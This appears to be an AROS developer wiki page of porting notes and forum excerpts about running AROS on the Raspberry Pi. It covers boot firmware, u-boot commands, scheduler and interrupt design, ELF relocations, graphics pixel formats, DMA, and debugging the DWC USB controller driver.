[https://www.riscosopen.org/viewer/view/mixed/RiscOS/Sources/HWSupport/USB/Controllers/DWCDriver/ RiscOS USB Driver], [https://www.riscosopen.org/forum/forums/5/topics/878 RiscOS USB Discussion], [https://www.riscosopen.org/forum/forums/11/topics/1893 Other USB RiscOS], [http://plan9.bell-labs.com/plan9/index.html Plan9 Miller's usb] http://plan9.bell-labs.com/sources/contrib/miller/, [https://github.com/Chadderz121/csud CSUD driver], *[http://www.smsc.com/media/Downloads_Public/Data_Sheets/9512.pdf SMSC 9512] USB LAN/Hub chip *CMOS RAM *VCHIQ port which sends messages to the GPU e.g. for mouse, keyboard, audio on HDMI, etc *Audio Driver *Serial Peripheral Interface Bus (SPI) *[http://www.susa.net/wordpress/2012/06/raspberry-pi-pcf8563-real-time-clock-rtc/ I2C registers] *I2S *Universal Asynchronous Receiver Transmitter (UART) *[http://elinux.org/RPi_BCM2835_GPIOs GPIOs] and [http://www.adafruit.com/blog/2012/08/17/broadcom-bcm2835-peripheral-memory-map-and-gpio-alternate-use-chart-piday-raspberrypi-raspberry_pi/ Alternative view of GPIO] BCM2836 * For Pi B+, PI 2 and Pi 3 SMSC LAN9514 chip adding 10/100 Ethernet connectivity and four USB channels to the board *[http://www.andrewscheller.co.uk/rpi_pcb_modules.html PCB], [http://elinux.org/RPi_Low-level_peripherals Low level features], Implemented so far... # Modify the configure system so that it correctly builds for the arm hardware float raspi target. # Implemented the bootstrap to load the aros modules and prepare the arm to jump into them. Reworked the x86 console support so that parts can be stolen for raspi to use since t has no basic functionality to output to the display. # Implemented a kernel.resource to prepare the raspi for running aros and provide the low level api calls to expose available resources and allow exec, etc function. # Implemented serial debug support # Implemented the exec (and kernel) functionality required to make multitasking work (and interrupts, exceptions, syscalls, etc) # Implemented a timer.device to utilise the hardware timers. # Implemented a very basic gfx driver to expose the hardware's framebuffer. # Implemented an SD-Card driver for AROS which presently only supports the raspi's chipset but can easily be modified to support all sd-card hardware and media. # Fixed the fat filesystem support in AROS so that it can boot on RasPi's normal SD-Card setup. The "rom" image files needed use a different filename than the default linux, etc images so can be easily installed without harming the existing files - you only need to change the loaded images in the config file to get aros to boot. # Updated the build scripts to automatically download the necessary raspi firmware files and wrap it all up so that you can simply extract the archive to a fat formatted sdcard and boot it on the raspi without having to get anything else. # fix everything in contrib and ports to build for raspi (needs proper testing/fixes but allows every component to actually compile at least, including owb) + numerous other fixes to get things working on arm/raspi .. Improvements... # Implement a USB chipset driver "OR" finish the existing one [https://github.com/aros-development-team/AROS/commit/c07d13c724f944674be5db54fc6a71ee72a01809 usb otg] - the current code is mostly a skeleton that should initialise the chipset and then needs relevant code to support the different transfer types. It also has the "virtual" hub code in place to represent the raspi's USB port (from poseidons p.o.v) # Implement a driver for the USB NIC (a few weeks - depends on USB above) # Write an [https://github.com/aros-development-team/AROS/commit/d55d0f74d20b769bbb8c8d386e5c1d7a9154f05a audio driver] (a few weeks - independent of USB) and [https://github.com/aros-development-team/AROS/commit/e93a4c245f27a87c9c4c1d39206694b39059998a HDMI] # fix syscall bug in the current raspi kernel code # Graphics depend on having a decent "bcmdma.resource" implemented as to use the cpu's dma engine. The sd card driver needs to use it for transfers to/from the controller - and the gfx system needs to use it for "blitting". # [https://github.com/aros-development-team/AROS/commit/4019d84e4975d4dad987a12d57fe108f5ac048e6 Improve the gfx driver], [ vc4gfx HIDD] add [http://dri.freedesktop.org/wiki/VC4/ Gallium3D support] # [https://github.com/aros-development-team/AROS/commit/b13905b3e8e45b089f520b44692c81affddd066f Improve] the [https://github.com/aros-development-team/AROS/commit/3a876755c070f5c73c4f53c7f4d35b4f923088b9 sdcard] device driver - which is also pretty basic but should work with most cards, rework it to also support pci, etc. sd card interfaces on x86 # The current code using very rudimentary access to the gpio interface - so that should be implemented as some resource for other components to access, as-well as the i2c interface exposed over the gpio interface. that should have a hidd class implemented which uses the gpio resource to communicate. Boot up typical for most other OSs before the open sourcing of many binary blobs from 2017 onwards On power-up, the rpi [http://www.open.com.au/mikem/bcm2835/ BCM 2835] [https://github.com/hermanhermitage/videocoreiv VideoCore4] GPU, not the ARM CPU, is in control, and the SD card slot is the only peripheral device with power. The firmware burned into the BCM2835's VideoCoreIV GPU PROM requires a DOS-style partition table; a FAT-formatted first partition; and the freely redistributable but closed sourced Broadcom files “bootcode.bin” and “start.elf” in that partition. The boot sequence carries out several pre-boot tasks *On powering of the rpi, the GPU reads and executes bootcode.bin, which then loads start.elf *The GPU loads the “start.elf” file, eventually, into the L2 cache and then executes it *configures the memory split for the CPU and GPU *reads and parses “config.txt” from the same partition on the SD card and applies the settings (like a PC’s BIOS settings) *loads the “kernel.img” file, again from the same partition *activates the CPU to begin executing the loaded kernel image The CPU/GPU memory split is hard-coded into start.elf, so Broadcom provides three start.elf images, to give 32M, 64M, or 128M to the GPU for multimedia performance, and the remainder to the CPU. RPi uses [https://github.com/raspberrypi/firmware some closed source loaders] and at some point it loads a binary blob named "kernel.img" at 0x8000, at that point there would be a rudimentary Aros alive. If one wants to use the SD-card then there would have to be a driver for the interface and a fat filesystem handler (SD-card has to be formatted to fat filesystem) Boot code and kernel are now linked together and made into that binary blob, just for starters. Raspberry Pi uses [http://kernelnomicon.org/?p=133 u-boot] and [http://kernelnomicon.org/?p=138 UBoot] as bootloader, there's already some code in the Efika MX port for that. UBoot is a native bootloader and not just for the raspberry pi, it loads after start.elf. You can find Efika MX port from arch implementations, some hacking is needed for the mmakefile.src'es as iit dates back to before the Aros crosstool era or else you get some weird errors while building. You also need to code the bootstrap and serial handling. At the moment it seems that a fastest route for the native build would be to make one binary blob without using the package system. Raspberry's memory layout is pretty simple and if the implemented u-boot doesn't support loading other modules <pre> ? - alias for 'help' mtest - simple RAM test autoscr - run script from memory base - print or set address offset bbm - BBM sub-system bdinfo - print Board Info structure boot - boot default, i.e., run 'bootcmd' bootd - boot default, i.e., run 'bootcmd' bootm - boot application image from memory bootp - boot image via network using BootP/TFTP protocol cmp - memory compare coninfo - print console devices and information cp - memory copy crc32 - checksum calculation echo - echo args to console fatinfo - print information about filesystem fatload - load binary file from a dos filesystem fatls - list files in a directory (default /) go - start application at address 'addr' help - print online help iminfo - print header information for application image itest - return true/false on integer compare jade - loadb - load binary file over serial line (kermit mode) loads - load S-Record file over serial line loady - load binary file over serial line (ymodem mode) loop - infinite loop on address range md - memory display mm - memory modify (auto-incrementing) mtest - simple RAM test mw - memory write (fill) nfs - boot image via network using NFS protocol nm - memory modify (constant address) pci - list and access PCI Configuration Space ping - send ICMP ECHO_REQUEST to network host printenv - print environment variables rarpboot - boot image via network using RARP/TFTP protocol reset - Perform RESET of the CPU run - run commands in an environment variable saveenv - save environment variables to persistent storage saves - save S-Record file over serial line setenv - set environment variables sleep - delay execution for some time tftpboot - boot image via network using TFTP protocol USB - USB sub-system usbboot - boot from USB device version - print monitor version </pre> And there is one more thing about modular ports. In order to actually implement this, your bootstrapping environment should provide the ability to load several files. On PC this is provided by GRUB2. on CHRP you can read filesystem via OpenFirmware, and Sam's Parthenope relies on modified u-boot. If your bootstrap allows to load only a single file, then you stuck with monolithic kickstart. By the way... u-boot allows not only to boot up a single uImage or zImage, it also allows to write client programs AFAIK. With this approach, you actually can write modular bootstrap for ARM AROS using unmodified u-boot. Most used [http://www.compulab.co.il/workspace/mediawiki/index.php5/U-Boot_quick_reference uboot options] are fatls usb 0:1, the reason behind INTB_KERNEL is to allow use of the standard Exec function AddIntServer() to add interrupt handlers for hardware drivers etc. AmigaOS never used it for abstract hardware drivers. AmigaOS routed only raw hardware IRQs there. Their assignment was hardcoded. As well as number of them. Actually on AmigaOS every bus has its own interrupt subsystem. For example PCI bus. PCI interrupts on Amiga are routed to a single exec interrupt. 1:1 relationship between CPU and hardware interrupts is present only on PC. IMHO we miss things like AddInterrupt/RemInterrupt methods on our PCI subsystem's device class. PCI bus class should map these methods to whatever is appropriate. This is how it is done on AmigaOS and friends. When these are implemented, raw kernel.resource API will be needed only for several PC-specific drivers with hardwired resources. Exec IRQs are real IRQs only on Amiga hardware. On other machines they can be emulated where appropriate (VBlank is a good example). kernel.resource is meant to be different, its IRQs are hardware-agnostic, they are plain "Hardware IRQ number X, whatever this means". They are low-level actually, and meaningful only in the context of a particular system. Was that not the transition from irq.hidd to kernel.resource? No. A long time ago there was another hacky bit named INTB_TIMERTICK. It was "abstract timer interrupt", used by timer.device. It was the same as VBlank, but with larger frequency. I removed it, because kernel.resource API was a cleaner way to access this interrupt. Furthermore, there can be more than one timer in the system. Thinking about bringing back timer HIDD definitions again. hpet.resource is a bad idea. Can someone please enlighten me a little on how the scheduler is meant to work? Poseidon.library creates its "Poseidon Event Task" during RTF_COLDSTART -> then calls Wait(), and ends up in limbo because wait disables interrupts (used for the scheduler heartbeat), and basically waits forever because the sigbit is never set, since krnSwitch doesn't switch the task unless TF_SWITCH is set, and no codepath run during this seems to set it?? TF_SWITCH does not disable/enable switching. This flag just enables to run user-supplied hook when the task is being switched away. It is completely safe to call Wait() in Disable()d state. Doing this actually temporarily breaks this state. IDNestCnt gets remembered in struct Task, then next task is selected, and its IDNestCnt is restored in sysbase (see kernel_scheduler.c). If there are no other tasks, then your cpu_Dispatch() should enable interrupts on the CPU and enter idle mode. See x86 implementation for good example. You miss what happens next... 1. KrnSwitch() saves context of your task, saves IDNestCnt (core_Switch() and cpu_Switch()), then drops into cpu_Dispatch(). 2. cpu_Dispatch() calls core_Dispatch. Then two cases are possible: 2a. There is a READY task. It is picked up, its IDNestCnt is restored in SysBase, then cpu_Dispatch() needs to restore registers and exit. The next task is run. 2b. There are no READY tasks. core_Dispatch() returns NULL. In this case your cpu_Dispatch() should enter idle loop. It should just enable interrupts on the CPU and put it on halt. This allows it to process hardware interrupts. Eventually some of your interrupt handlers wakes up your task and puts it into READY list. My heartbeat interrupt has been slowed atm to help debugging - but it never actually gets a chance to fire because of the Wait() disabling interrupts. Perhaps you have forgotten to enable interrupts in your idle loop. There is a change in the format of AROS executables. Until now we were using Elf RELocable files which are usually used as intermediate object files. We had them for various reasons, one of them was how AROS files were built in the past. That days we had no real aros cross compiler and the option to embed relocation data in unix executables (or in executable files in general) was rather new and not every linux/unix system had it. Therefore we have decided to use intermediate files. Although it was somehow working (and it is still working :-)), it has some drawbacks. Therefore decided to introduce real Elf EXEC types, in first turn implemented on ARM target with option to expand in future to all other AROS architectures. The first patch was pretty easy and appeared to work somehow. It generated nice executables with embedded relocation info. Not only that, it also removed all global symbols adjusting relocation data to be relative to the beginning of the sections. That move reduced number of symbols in each executable significantly (depending on the file between 20 and 80% of all symbols could be removed). The only symbols that stayed in the file are local ones - due to the nature of the patch wasn't able to remove them since we have not seen them in the symbol hash table. The patch didn't worked though. The files were relocated, AROS kernel loaded, but it crashed very early. What happened? Well, the nature of ARM relocations happened :) Most of the relocation data on all machines is rather simple. Relocation can be absolute or pc-relative, sometimes the offset has to be bit shifted. On ARM v7 there is another one. There, when one wants to load an address of function/variable into register a combination of two instructions can be used: movw and movt. The first one loads immediate into lower 16 bits of a register while clearing upper 16 bits. The second one loads immediate into upper 16 bits without touching lower halfword. Loading of a pointer into a register looks like this: movw r0, #:lower16:label movt r0, #:upper16:label In this case there are two relocations - one for lower halfword and another for upper. If an overflow of lower 16 bits occurs during relocation process, the upper one should be updated as well. Unfortunately with current patch and with typical ARM executables there is not enough information to perform the calculations. There are two options - the first one would be to give up and go back to "fake" executables, another one would be to change from REL to RELA relocation info. The latter contains an addend, extra data which can be used to perform all the relocation calculations I need. Decided for the second option. The patch is already in the works. There is another function for the binutils' bfd backend to perform the final relocation. There can decide what to do with every reloc info, modify data and eventually strip some symbols. An advantage is - at this stage of the linking process have also full access to all local symbols so can change all relocations section relative and eventually strip all symbols from the files. GPU VCore developed by Alphamosaic Ltd and now owned by Broadcom. Most of start.elf runs on the GPU. Placing ALL the userland GPU code in the videocore.hidd isn't going to be a terribly big problem because the code they published is nothing more than a shim that sends data straight to the GPU to execute. The good news about this is that we only need to write our HIDD using the OpenVG API. The shim is relatively small codewise and lives in the ARM memory (the actual OpenVG code itself lives in the GPU RAM area and its loaded from start.elf). That's also the bad news. Our driver has to translate AROS video calls to OpenVG calls, for most tasks it should be easy, for some, not so much. It's still probably less difficult and less work, than controlling the GPU directly. The other good news is that anything done through OpenVG happens on the GPU, its truly accelerated. It also has some nice font functions, meaning we can lead into an accelerated text mode later. Basically, AROS resets or locks up when it tries to use AROS_ATOMIC_INC or DEC. If I comment out the byte/word operations in the header files and use non-atomic operations, the code works as expected. have read that the L1 cache needs to be enabled to use LDREX and co (which I also read is only meant to be used on multi processor systems with shared memory) - however I am certain this is correctly enabled. If you are using LREX or STREX, you should have L1 cache enabled, at least on the ARM CPU I work with at work. L1 cache is enabled by enabling the MMU *AND* setting the C and I bits in the CPU - the C bit is ignored, and the I bit only covers the 16 byte instruction pipeline if the MMU is not enabled. Can you verify that your assembly is generating LDREX/STREX? From the behavior, it almost sounds like its generating the default Semaphore locked atomics. Impossible. There are no semaphore-locked atomics. There are Disable()/Enable()-based ones instead. And there's a special #define AROS_NO_ATOMIC_OPERATIONS in this case, which tweaks Disable()/Enable() implementations not to recurse forever. I have tested this on ARMv5 which does not have ldrex/strex, it works fine. On those ARMs there's no way to have real atomics. On other OSes (like Linux) this is done by introducing things like atomic_t, which appears to be a complex structure, holding the value together with accompanying spinlock (implemented using swp). #warning "TODO: lookup optimal mmu table settings for raspi memory" /* Set up an identity-mapping for all 4GB */ for(x = 0; x < 4096; x ++) { pagetable[x] = x<<20 | (0x40002|0x80000|0x010000|0x00C00|0x04); } Shouldn't there be a second loop that sets the 'C' bit in the descriptor for the RAM pages? Currently, you have TEX=0, C=0, B=1 for all pages (Shared Device). You should have TEX=0, C=1, B=0 for RAM (Write-Through, Cached) So .. pagetable[x] = x<<20 | 2; should be enough? No, for RAM you need to change the '| 0x40' to '| 0x80' tell dosboot the correct defaults to use Please don't do this. This bootconfig.c is a deprecated legacy thing. I wanted it to go away completely with time. Instead, display drivers should auto-install themselves during own initialization phase. I. e. detect hardware=>instantiate itself. This should make things way simpler. With this approach you only need to add the driver into KS image to get the device autobooted. No hardcoded stuff. Currently VESA and VGA drivers do this, look there for examples. never rewrote ATI driver because i don't have any test system for it. they defined a smaller AROSCPUContext than the ExceptionContext - yet reference it as ExceptionContext in other places, and since it hasn't allocated enough storage for ExceptionContext, are corrupting memory/the structure (since the elements that are there don't map 1 to 1 with the exception context). AFAIK, AROS has been moving in a different direction to this in recent years. It is the job of graphics HIDDs to allocate bitmaps etc. so that they have the most suitable characteristics, including allocating them from GPU RAM where possible. The concept of chip RAM is only for legacy code, and most if not all non-68k platforms should have all system RAM marked as chip. BTW, is the video processing code you mention CPU code or GPU code? Also, IIRC we have support for "external memory allocators". Perhaps that's what we need for the allocation of GPU RAM through the mailbox. All hosted and x86 native ports should use proper context formats. trying to clarify if the vblank handler has to have run by this point to prevent this deadlock. Actually, no. Unless you have installed VBlank handler which should wake up at some point. Without VBlank there will be no quantum count. Consequently, there will be no forced preemption. But the rest will work, and multitasking will be cooperative (switch happens only when current task voluntarily gives up the CPU). Does it depend on the vblank having run before this point? and if yes what does that mean on systems where it might be able to run enough code (e.g. get to this point) before the vblank interrupt has triggered? What is it waiting for? It could wait for timer, in this case you need timer.device working. VBlank is currently needed for exec's quantum counter. In current native ports we have only a single timer, which is served by timer.device. VBlank is simulated by timer.device also. If your machine has two timers, then you can use one of them for VBlank, and another for timer.device, this will simplify things down. VBlank needs to be 50 Hz for historical reasons, many programs use it as cheap timer. I am periodically thinking about making some abstract mechanism to be able to change quantum source (and untie it from 50 Hz), but have no time to come up with something good. Additionally i started disliking timer.device hardcoded design when PC has got many timers (old 8253, APIC, HPET). Currently i think there should be some low-level entity representing tick source. timer.device should just select the most appropriate source for its units. The BCM2835 has 4 GPU based timer sources - 2 are used by the GPU, so im using Timer3 for our heartbeat and the remaining one will be free to the system. There is also the less capable ARM timer but that is dependent on the CPU frequency. Very good. You won't need any emulation. Set the heartbeat to 50 Hz and drive VBlank from it. Use other timer for MicroHZ. Can you use the 'econsole.hook' I make for debugging the Sam460 via the serial port? It provides a before-anything-else shell prompt on the serial port. You can then do 'NewCLI' to test your graphics, or use any DOS command in shellcommands.resource. You should just be able to add econsole.hook to your module list, and use 'econsole' in your bootargs. So long as you have a working Exec/RawMayGetChar and Exec/RawPutChar, it should work. Also make sure to add shell.resource and shellcommands.resource for this. That should have done it. If you set "#define DEBUG 1" in arch/all-native/econsole/econsole.c, do you get any additional serial output? have added it to the build and added econsole to the command line - and can see the bootloader picks up on the emergency bootconsole tag, but I still only get the insert bootable media display? Im assuming it exposes a fake filesystem that tricks aros into booting? The contents of which are: ECON:AROS.boot Way to handle the scheduling code? The implementations I had been following were causing problems, due to cascading interrupts which I cant handle properly in the asm stubs just now (when they break disable etc.) - since it means detecting the interrupted codes cpu mode and getting the correct sp/lr for it, and that's just too tedious for arm. To work around this ive added a system idle task which does nothing - and when the scheduling code has no task to run switches this in and lets it run, thereby allowing the interrupts etc to resume until something does need to happen. Also, by adding accounting code to cpu_Switch() and cpu_Dispatch(), it should allow the system to log idle time correctly (as well as running tasks). have thought of also adding an additional task that never runs, solely to record time spent in IRQ handlers, but I digress.. was under the impression that kernel.resource should *never* be used outside of exec.library. This is a wrong impression. Michal started designing it because portable nature of AROS does not fit well into exec's API with all its assumptions. So, he started the new, hardware-agnostic kernel API from scratch. Yes, exec sits on top of it in places. But kernel always meant to be open thing. Otherwise it would not exist. it wasn't meant to be just used willy nilly by user code - but by lower system components (e.g. exec) so that they could be implemented in a more generic fashion, and the kernel resource itself hide the systems quirks. Adding new things there perfectly keeps up with our decision to minimize AROS-specific intervention into APIs which can clash with MorphOS or Amiga OS4 extensions. We want at least source-level compatibility there. Binary compatibility on PPC would be extremely cool, but at the other hand we have no maintainer for this, as well as their ABIs splintering. It depends on what exactly is being implemented - there's no reason we should have everything crammed into kernel.resource if it doesn't need to be (i.e. if its better suited as a separate component/subsystem in its own right) The _LE versions are for when you have endian swapping taking place. If the graphics are the same endian as the CPU, no swapping should occur. I ran into a similar terminology problem in SDL with a friend insisting that his Radeon 7000 on his PC was big-endian. It is not, it just uses the same endianness for the graphics card and the CPU so no swapping was necessary. They were both little-endian. The _LE versions are because the PixFmts refer to the bitmap data being in big endian format in memory, for which the normal version would need to do endianness conversion before applying the shifts/masks. on this platform it is in _LE in memory also so we don't need the conversion hence using the _LE version of the call). would use _LE (if it's really little endian 16 bit mode). What is the bare minimum needed to implement a framebuffer based gfx driver, with our software handling the rest? Have tried with just a gfx class that only expose new/dispose/newbitmap - and having an onscreenbitmap used only for the framebuffer itself (with all other bitmaps being chunkybm, and the framebuffer's superclass also being chunkybm), but that alone isn't enough it seems? You can use workbench/hidds/sm502/ as your example - it is as simple as I could make it. So, AROS creates the framebuffer bitmap (verified this) -> so surely it should be capable of then rendeing into it? I don't actually create the framebuffer "bitmap object" myself - only as a result of being asked to. The code I currently have on SVN seems to create the framebuffers bitmap object fine, but then crashes in intuitions DisplayDriver callback. In particular it crashes performing the getattr on the system default pointer. don't expose MEMF_CHIP in an allocatable form so AllocSpriteData was failing (and other code later doesn't check if the values are valid == illegal memory accesses) So far have -: vc_init: queries the gpus memory, and sets up a fake memory handler for it, then adds the bootmode driver and returns saying all is well vc_gfxhidd:New: sets up some fake syncmodes to test with and creates the real gfx object. vc_gfxhidd:NewBitmap: checks if its a framebuffer and uses the onbitmap class or uses the chunkybm class otherwise vc_onbitmap:New; creates a chunkybm object and then pushes the real framebuffer address into it as the buffer, vc4 had v8adds, v8subs, v8muld, v8min and v8max which operated on four 8bit uint values packed into a 32bit register. Multiplication was in the range 0.0 to 1.0 and addition/subtraction saturated. There were also a range unpacking/packing modes that allowed you to pack and unpack 8bit values into 32bit registers. RasPi has to speak to the "operating system" which runs on the GPU itself and request/free memory - it cant directly manage it itself, and so the managed functions were used to wrap these calls. The Arm and GPU share memory space. The framebuffer is shared. The Arm can write a pixel and it will appear on the screen (through GPU hardware) without flushing/copying being required. The GPU can composite multiple FB's in real time - so you have a number of surfaces defined which are rotated etc and composited in real time to the output. Copying can map from the address space of the Arm to the flat space of the GPU which takes some code, but I don't think whole buffers are copied. The DMA hardware can also access the whole memory space and can perform 2D fills and blits (no blending). This is documented in the peripheral spec posted. The DMA is just an Arm accessible peripheral and can be set up with low latency (e.g. microseconds). must use a 0xc0000000-based bus address to access SDRAM, yet non-DMA access should go via a 0x0-based bus address. For 2D dma, set TDMODE, and the spec says "interpret the TXFR_LEN register as YLENGTH number of transfers each of XLENGTH, and add the strides to the address after each transfer." so set STRIDE to pitch of the image, the width is XLENGTH and height is YLENGTH. You would fill by not setting the SRC_INC and point source to your fill data. The DMA cannot see the ARM's L1 cache, so you would map the framebuffer with ioremap_nocache. Depending on where the source data comes from, it may need an L1 cache flush. The DMA can see the L2 cache. Use 0xC0000000 bus addresses when L2 is disabled and 0x40000000 bus addresses when L2 is enabled. (actually just call virt_to_bus and you'll get the right address out). openGLES/openVG has high latency. Writing to framebuffer then reading it back is very inefficient (e.g. milliseconds). If you can drive it a unidirectional way, just streaming commands at then that is efficient. openVG is not implemented on top of openGLES - it uses the same hardware but as a first class interface To improve the Gfx driver, we will need a DMA resource implemented so can use to perform DMA operations. The Gfx driver will need this to perform blits. Actually MEMF_CHIP has to present, for historical reasons. This has been never fully agreed upon, but in ports i wrote i exposed the whole memory as MEMF_CHIP. The idea behind this is that CHIP is originally the memory where graphics and sound data can be put. On non-Amiga platforms there are no restrictions on this, so the whole memory is CHIP. Yes, many old software can misbehave with CHIP memory size larger than 2MB. But this actually applies only to m68k AROS which is going to run m68k binaries. In other cases it's quite logical to fix the program when porting. As to original question: yes, it's enough to have a framebuffer bitmap (one with aoHidd_BitMap_FrameBuffer set to TRUE) and PutPixel routine. It framebuffer can be served by chunky bitmap class, then you can simply create chunky bitmap with your own buffer (see how VESA driver does this). Chunky PutPixel is already there. struggling to determine what is the correct pixfmt to use for the 24/16/15 bit gfx modes on the RasPi. AFAIK it uses RGB565, for 16bit but im unsure what shifts etc should go with it? suffice to say Im getting the wrong colors so far lol. <pre> redmask: 0x0000F800 greenmask: 0x000007E0 bluemask: 0x0000001F alphamask: 0 redshift: 16 greenshift: 21 blueshift: 27 alphashift: 0 </pre> It should likely be vHidd_StdPixFmt_RGB16_LE This stuff is a bit confusing. The "names" of the stdpixfmts are based on the layout in memory, ignoring endianess. So for example: ARGB32: will be 0xAA 0xRR 0xGG 0xBB in memory on both big endian and little endian machines. The shifts and masks OTOH are based on pixel access (ULONG in this case), so differ depending on whether you run on big endian machine or little endian machine (that's why there's stdpixfmt_le.h and stdpixfmt_be.h in rom/hidds/graphics/). With the 16 bit pixel format it's even more confusing, as for example it's impossible on little endian machine to describe RGB16 with shifts/masks alone. That's why there's vHidd_PixFmt_SwapPixelBytes_Flag. (RGB16 == RRRRRGGG GGGBBBBB in memory, and for pixel (WORD) access on little endian machine it needs to be accessed as GGGBBBBBRRRRRGGGG). The shifts btw indicate how much to shift the component to the left (!) so that it is moved to the highest bit (31). The aHidd_PixFmt_StdPixFmt you specify will be ignored most of the time, because when the pixelfmt is registered, the gfx hidd checks if there's an identical pixfmt (shifts/masks/etc., but ignoring pixfmt->stdpixfmt) already in the system, and if so, it uses the already existing one and does not create a new one. In theory it would be better if gfx drivers could simply/only specify a StdPixFmt without all the shifts/masks stuff when the gfx driver uses pixfmt which matches one of the stdpixfmts exactly. Another possibility would be for gfx drivers to use HIDD_Gfx_GetPIxFmt(stdpixfmt_gfx_driver_wants_to_use) and then peek shifts/masks from it and fill out a pixfmt tag list based on that. 15bit very blue/green: Try to pass same shifts/masks/etc. as in 16 bit pixfmt (maybe you think it's using 15 bit R5G5B5 (or swapped) but it's actually still using 16 bit R5G6B5 (or swapped). aHidd_PixFmt_StdPixFmt you pass is mostly ignored. It's the shift/masks/etc. that count. But I would still pass the correct one (_LE) == whatever rom/hidds/graphics/stdpixfmts_??.h uses in the entry where you have looked up shifts/masks/etc. Use the shifts/masks/etc. from the entry in stdpixfmt_le.h (if you are running on little endian machine) or stdpixfmt_be.h (if you are running on little endian machine) that matches the pixfmt that its meant to be. 0xAA,0xRR,0xGG,0xBB on little endian (->entry in stdpixfmt_le.h which says vHidd_StdPixFmt_ARGB32) 0xBB,0xGG,0xRR,0xAA on little endian (->entry in stdpixfmt_le.h which says vHidd_StdPixFmt_BGRA32) 0xAA,0xRR,0xGG,0xBB on big endian (->entry in stdpixfmt_be.h which says vHidd_StdPixFmt_ARGB32) 0xBB,0xGG,0xRR,0xAA on big endian (->entry in stdpixfmt_be.h which says vHidd_StdPixFmt_BGRA32) it feels like AROS trashes the alpha component, otherwise it should be 8A8R8G8B. read on the subject suggest its in 1x5r5g5b (x is ignored) to keep 16bit alignment . Suggests to me that wrong shift/mask are being applied - however going by the 16bit versions it all looks correct to me so I am really confused as to what is happening. The output image looks to have too much green/blue, and very weak red. Kickstart The idea is to minimize amount of archirecture-specific modules to make the user's life easier. So, the kickstart was split into 'base' (which does not contain anything machine-specific) and 'BSP' (Board Support Package) which contains all hardware-specific stuff. This way, for example, distribution makers can save up space on CD and make CDs with multiple platform support. Different configuration would load the same base with different BSP's. Next there was some part which is entirely missing on hosted. These are filesystems. Hosted ports do not need them to boot up, so on hosted they are left out. At the other hand, they are also architecture-agnostic. So i put them into 'FS' package (standing for 'filesystem'). USB Poseidon is one more big part. I made it into separate package in order to allow users to omit it if they don't need it (for example, to run on retro PCs without USB). Personally i have one. Again, Poseidon is hardware-agnostic (well, there are USB drivers but HCIs are pretty standard). AFAIK its HCI 1.0 compliant but not familiar enough with poseidons drivers, nor USB, to just hack away at the existing code. Perhaps once i'm more familiar with the workings I can merge in the changes needed to get it operating but for now I will focus on getting it running. Also our drivers have known issues so perhaps a fresh set of eyes might shed some light on what is going wrong. Another interesting question is whether Poseidon can operate on device side. Is it flexible enough? How similar is being a USB host and USB device? think it will need a bit of work on Poseidon's side. Until then I will force the driver into Host/Master mode in the init code, but leave open device etc to configure the chipset for either's use - and look at trying to add support for working in Device/Slave mode & switching modes once it's up and running. Actually USBROMStartup is some kind of kludge. Can there be any alternative? Could device drivers be self-installing, like our HIDDs? This would get rid of need to list them in USBRomStartup. * Model A and B limited to 150 mA per port. * Model B+ and Pi 2 introduced configurable 600 mA to 1.2 A support over all ports - anything above that requires a powered USB hub. Implementing the hardware driver that Poseidon uses to interact with the USB components. Have code in place to (try) and initialise the USB chipset, and configure host/device mode operation (though AFAICT Poseidon doesn't support device mode). Started to get the "virtual" root hub written for the single USB port so that Poseidon should at least list it correctly in the GUI - and try to interact with it to find peripherals. The BCM2835 uses a soft IP block from Synopsys’ DesignWare library (DWC), specifically the block is called dwc_usb_2_0_hs_otg_subsystem-ahb_se (“USB 2.0 Hi-Speed OTG Controller Subsystem w/AHB Interface SE”). There is no public documentation for this, and pretty much zero chance of anyone getting hold of it even with NDA. However, there's a Linux driver written by Synopsys ([https://github.com/raspberrypi/linux dwc_usb]). Specifically directories [https://github.com/raspberrypi/linux/tree/rpi-patches/drivers/usb/host dwc_common_port] and [https://github.com/raspberrypi/linux/tree/rpi-patches/drivers/usb/host dwc_otg]. The Synopsys code is actually under a fairly permissive licence – it's not GPL, it's similar to BSD (’don't sue us if it breaks’ is pretty much the only clause). So this should not be a barrier to porting the code. The code is really well written, with a nice partition between the work done by the driver (dwc_otg, which is fairly involved, given the host does more work than a conventional EHCI driver), and the interface to Linux (dwc_common_port). Probably only need provision of relevant changes to dwc_common_port. Other things to consider.... * Provision of necessary headers to get it to compile * Provision of necessary functions (main issues are wait queues, threads, work queues, tasklets, timers, spinlocks and mutexes (multithreading) ) * Interfacing between USB stack and the driver. dwc_otg/dwc_otg_hcd_linux.c looks like the place to start. the Linux bits of the headers are only required for the dwc_common_port library. dwc_common_port includes a variety of crypto functions which are not used – it appears to also be used for ultrawideband (UWB) and wireless USB (WUSB) drivers where crypto will be an issue, but it isn't going to be for plain wired USB. Every USB driver acts as an USB hub as well in order to let Poseidon control the state of USB ports. The code there was reading status of the only USB port in Raspberry's CPU but when changing the status it erroneously deleted some of the status bits, including the port enable one. It was so because those bits in the status register are of a type Read/WriteToClear. It means, if one does not want to change their value from 1 back to 0, one has to actually write the 0 value. Very practical thing e.g. in interrupt handlers, where one reads the interrupt status register to learn what was the interrupt reason, and writes it back to the same register in order to clear the interrupts. After fixing that code it turned out that the communication was still unsuccessful. Apparently the USB device was not understanding the host for some reason. That should not happen since the request sent was one of the standard ones implemented by virtually anything with an USB connector, assumed that Poseidon clears the data caches before forwarding the work to the USB drivers but that's the responsibility of the driver itself. The USB device responded and acknowledged the transmission! But why were all the request sent after address change failing with timeout? They should not. Once again, address set is supported just by anything. Tried to contact the device at address 0 once again and there it was, still responding properly. The enlightenment came. The bus address for DMA transmissions was, as it is in many bare metal USB implementations, just the pure memory address of the buffer as seen by the ARM cpu. Have "prefixed" it with the real location of uncached RAM and booted AROS once again. Trident saw this: Product : Hub: Vdr=0424/PID=9514 Manufacturer: Standard Microsystems Corp. SerialNumber: n/a /Users/michal/git/AROS/rom/USB/poseidon/./poseidon.library.c:psd_20_psdEnumerateDevice/3092: USBVersion: 0200 Class : 9 SubClass : 0 DevProto : 2 VendorID : 1060 ProductID : 38164 DevVers : 0200 and this: Product : Vendor: Vdr=0424/PID=EC00 Manufacturer: Standard Microsystems Corp. SerialNumber: n/a /Users/michal/git/AROS/rom/USB/poseidon/./poseidon.library.c:psd_20_psdEnumerateDevice/3092: USBVersion: 0200 Class : 255 SubClass : 0 DevProto : 1 VendorID : 1060 ProductID : 60416 DevVers : 0200 and even this: Product : Hub: Vdr=0424/PID=9514 Manufacturer: Standard Microsystems Corp. 